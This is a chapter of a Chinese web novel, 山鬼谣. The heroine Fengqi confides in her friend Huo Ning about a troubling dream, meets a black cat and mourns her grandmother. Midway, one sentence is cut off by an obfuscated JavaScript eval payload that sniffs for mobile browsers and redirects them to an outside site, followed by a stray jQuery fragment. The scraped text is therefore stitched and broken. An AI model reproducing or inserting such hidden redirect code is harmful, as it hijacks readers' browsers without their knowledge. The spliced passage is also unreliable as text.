50. 第 50 章

作品:《山鬼谣

    酒店不远处就是一家24小时营业的药店,风岐开了含片的包装就要往嘴里塞,却还是停了手,先点了根烟。


    她从出门后就一言不发,紧盯着手机里的文档,来回翻动着。霍宁替她挑药结账,出来后陪她一道蹲在酒店外的马路牙子上。


    风岐吐出一口烟,揉了揉头发:“我是真有点儿...”“乱”这个词已经快被她用烂了。


    “我现在真是演不出个啥来,累死我了...”


    霍宁笑:“别仰卧起坐了,该咋咋呗,看着你我都累。”


    一个人琢磨就是容易钻牛角尖,风岐将赤豹化身应柏这一条单独拎了出来。她一直在他们三个人当中猜哪个才是那个人,又好像将青女和赤帝之间的关联琢磨得过了头。


    霍宁原本还当风岐说梦到应柏是从这嗓子倒推出的结果,倒没想到是真的。


    “就是...”CPU早烧成了飞灰,“我原来是把这一段理解成...”


    这完全符合她对应柏的印象:“他不就这样儿吗?卖惨,卖到我心软了最后坑我一把,对吧?”


    “是啊。”霍宁直笑,应柏对风岐的心意是真的,但这人骨子里就带着点儿跟她作对的劲儿。


    “但是...”如果那就是记忆,“他把我那个啥了...”


    霍宁打断她:“少胡扯。”风岐表面上是好说话,但实际上爱憎分明的。


    “你自个儿想想,他要真把你那个啥了,你还愿意见他?”


    “我就是...”风岐拼命挠头,她宁愿他是杀了她呢,立场不同,生死相搏很正常,但如果涉及到性暴力,那就是侮辱了。


    那她还想见他,这不是贱得慌吗?


    “我能知道意思,我就是...”她摸摸脖子,垂眼看着那几行,尤其后头的一行字,又很像失去了什么。


    诞育后代,不就是将自己的骨血分出去吗?


    “给我看看?”霍宁问她。


    风岐摇摇头。


    这毕竟只是一个梦,如果不是真正的记忆,那或许只是一种意象。


    “你看啊,古代神话里有啥...”也别管哪国古代了,“吞个蛋、做个梦、滴个汗、骑个牛、踩个脚印的就怀孕的,对吧?”


    “他是神,然后神降了,他可能...反正就用什么法子让我生孩子了。”


    “你觉得你俩有孩子?”霍宁没想到风岐自个儿开始纠结这个问题了。


    风岐灭了烟塞含片:“就秦思勉...”反正秦思勉一看就知道是会跟着应柏跑的。


    提了还没两句,她的呼吸又是一紧:“不是啊,应柏到底是个什么东西啊...”


    她没法判断肚子里那棵树究竟是不是榕树,应该不是柏树,柏树的叶子很特别,不难认。


    可万一呢...


    她现在在山鬼这里的身份也很奇怪:“你说啊,那万一他真的是棵树,我是山,那我...嗯...”


    霍宁听着就笑了,搞得跟应柏神降以后让她生了一棵小柏树一样。


    风岐额心都痛了:“怎么都很奇怪,但是...”还有周辽的头像,也是豹子,“这...”


    霍宁索性顺着她向下说:“哎,咱认真的啊,你俩基因突变都突不出来这样儿的来。”秦思勉这完全没戒心啊,周辽还这么冲动,听不进去话似的。


    她还是回到宋玄羲身上:“咱就说应柏真的是赤豹,那凭啥你跟他的小孩儿就得是豹子啊?”


    同理那棵树:“孩子是妈生的,不还是得像妈吗?”


    哪怕不算博物馆那块牌子,她也特意问过应柏对他们可能存在的孩子是什么想法。


    应柏的回答是:“很厌恶,我不想她痛,也不想她被分散精力。但是如果真的有,我愿意为她做事。”


    他还补充了一下条件:只要是风岐的孩子,无论是不是他的,都是一样的。


    得亏她今天还多问了一句应柏现在最讨厌谁,应柏依旧斩钉截铁的:“宋玄義。”


    所以话说回来,第一嫌疑人还是没变。


    风岐嗤嗤直笑,莫名其妙就从怪力乱神转成了家庭伦理,霍宁还给她不知道到底存不存在的家庭里塞进了一个她从未见过的人。


    “不过应柏说他是被你封印的,”这一点霍宁坚信不疑,“他原来是青女的神,你把他封印了变成你的坐骑。”


    风岐摇摇头:“你看啊,我之前就觉得哪儿不对,我老觉得他跟我有仇。但要真的是水火,水克火,理论上该是他觉得我是他仇人才对是吧?”


    这里有两条解。


    一是应柏心机过于深沉,比她想象中还要阴险百倍的那种,所以现在伏低做小,为了最后报仇。


    二就是他现在的状态是真的:“换成山鬼和赤帝才对你发现没,他把我山上树烧了,但是...”


    头绪太多反而容易乱:“等等等等啊…”好不容易散去的热度,现在隐约有了冒头的征兆。


    “我真的要完蛋了...”风岐撑着额头喃喃,“应柏脑子可不慢,他会发现的...”


    最开始同他的几次肢体接触,她只拿自己的激素水平或是心理因素来解释这种莫名的熨帖与惬意,但自从红桦林回来后,她就发现了问题。


    和他待在一块儿,不仅仅疼痛会大幅度减轻,烧也退得飞快。


    “他会拿这个威胁我的...”


    “不是,你也威胁他不就行了?”


    “我做不到啊...”她的道德水平可比他高多了。再说了,谁能控制住自己不哭啊。


    她双手捂着眼睛:“我到底是造了什么孽了...”


    一团黑影窜了过来,霍宁愣怔间,那黑猫直上几级台阶,不住拿额头顶着风岐的大腿,像是在安慰她。


    风岐抬起头,黑猫两只前足撑住她的腿,拿额头蹭掉她的眼泪,又用一双豆豆眼望着她。


    按照周辽所说的那个梦境,这只黑猫像是在给他报信。霍宁对风岐使了个眼色,风岐会意,正要迈步。


    黑猫步步紧跟,在风岐□□来回绕着圈,尾巴紧紧勾缠着她的小腿。


    走开没两步,虽然背后有点儿发毛,风岐还是留在原地,静静地看着那只黑猫。


    黑猫抬头与她对视,风岐喉头发哽,两滴泪砸在地面上,溅起细密尘埃。


    “跟我们家叶同尘有点儿像...”她蹲身垂手,任这只黑猫蹭着。


    叶同尘也是这样通体漆黑,名字是阿婆取的,给她扔黑衣服上,她不睁眼人是找不着的。


    她们家只要看见黑衣服在床上,一定得先摸摸叶同尘在不在才能躺。


    而性格...反正叶同尘什么都不挑,相当和光同尘。


    不像她。


    叶同尘是叶惟去世后半年自然老死的,睡梦中就安静离开了。


    开书店前,叶惟要用“相逢”来给书店起名,风岐颇为不屑,叶惟问她那要用什么。


    “用‘拜拜’啊,这次拜拜下次再见,不是更有希望了?而且一语双关,也可以理解成求神拜佛的拜,多招人啊。”


    叶惟捏着她的鼻子说:“那以后等我的乖宝做老板了,要叫什么就叫什么。”


    风岐总是觉得“相逢”这两个字很俗,其实她觉得很多字眼都很俗,甚至在小时候的很长一段时间里她觉得阿婆这个人也很俗。


    因为阿婆没有文化,阅读量太低,无法和她进行精神交流。


    阿婆整天只会问她:“嶷嶷,今天晚上想吃什么呀?”


    “嶷嶷,在学校里有没有被人欺负?”


    “嶷嶷,礼拜天出去买衣服好不好?”


    有时阿婆会拿着那些她早就不看了的最简单的《格列弗游记》、《一千零一夜》乃至《伊索寓言》这种书来和她说:“嶷嶷,阿婆要请教你一个问题。”


    可就是这样一个她以前认为很俗的阿婆,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491481|185886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    二十多年前不知道翻了多少书,给她取了一个那样复杂的小名。


    岐嶷,合起来是指小孩子聪慧,典自《诗经·大雅》里的那句“诞实匍匐,克岐克嶷”。


    而“嶷嶷”一词,既有这层含义,也有山峰高耸与道德高尚的意思。


    霍宁愣住了。


    风岐十二岁之后,就不允许任何人再提起她的小名。她改掉了很多习惯,舍弃了许多物品,但身上依旧留存了许多另一个人给她带来的影响,譬如口味,譬如阅读偏好,譬如机械唯物论。


    她过去曾听风岐哭着说过:“剥不掉了,怎么剥不掉了啊...”


    “我真的...什么都不知道,我阿婆,得多伤心啊...”


    叶惟房间里山鬼画像后有她留下的一封信,风岐一直都知道,可每每打开看到第一行,她的目光就再不敢向下了。


    ——嶷嶷,原谅阿婆最后一次这样叫你。怪阿婆没有告诉你,这个名字,是阿婆给你取的。


    风岐无法想象那时候决绝地舍弃掉那个名字,阿婆是怎样的感受。


    她也恨自己,为什么从来没有问过。


    就像她幼时听说黑猫镇宅辟邪,曾一度觉得在她五岁后将叶同尘抱回来的阿婆是害怕她会害了这个家。


    还是再大一些才渐渐明白,阿婆最害怕受到伤害的是她。


    阿婆都是为了她。


    只是阿婆嘴笨,阿婆不晓得该怎样讲。


    风岐哽咽着:“我不敢看,我其实...我知道她要跟我说什么,但是有些东西我、我还没准备好你知道吗?”


    “有些...我知道她不是要说服我,她是想安慰我,我知道她的意思。但是我的想法不可能跟她完全一样的。”


    在某些问题上和阿婆观念不一致,像是一种背叛。


    她只敢给那封信拍一张照片留在手机里。


    只是人是管不住余光的,她无意间扫到过下面几行有好几个“山”字,也摸出过那封信的几处干涸泪渍。


    霍宁揽住风岐的肩,轻轻拍着。


    “我有时候真是挺混蛋的,”风岐笑着摇摇头,“我真的...”


    “挺不是个东西的。”


    霍宁心中叹了口气,可是谁都是从小孩子一点点长大的,怎么可能小时候就什么都明白。


    风岐的泪接连滚落,叶惟拿白居易的诗来解店名——悠悠天地内,不死会相逢。


    “乖宝,死要怎样定义?”


    她那时依旧不屑:死还有什么别的定义吗?


    人一闭眼,送去火化炉,等上一两个钟头,推出来时有些零落的白骨。工作人员拿工具铲一铲,沙沙作响。


    之后家人离开,去一个像银行柜台的地方,把挑选好的骨灰盒送过去。


    等骨灰盒重新出现,就可以抱着它从火葬场去公墓了。


    大约二三十分钟后,一行人从公墓出来,这一页就揭过了。


    这个人就...彻底死了。


    她低下头,在手机上翻出那个上锁的相册,拇指迟迟没能落下。


    按灭屏幕,她重新仰起脸。


    高原上,没什么光污染。群星布满整个夜空,远处挂着一轮月亮,薄云缓缓流过,月影朦胧。


    风岐擦了一把泪,努力辨认着这广袤夜幕中究竟哪颗星星最为遥远。


    扭脸对霍宁一笑:“你说,这会不会又是我阿婆在提醒我,不要相信应柏。”


    霍宁笑笑,在这件事上,她和风岐的想法也不同。叶惟真正害怕的是风岐轻信于人走了她的老路。


    但正因如此,风岐本身的性格再加上长辈的刻意引导,她的警惕性相当高。


    如果这只黑猫真的和叶惟有关,或许只是想回来看看她最珍贵的宝贝。


    身后传来一阵急促的脚步声,两人诧异回头,周辽直冲过来,连应柏都落后两步。


    周辽涕泪俱下:“妈妈。”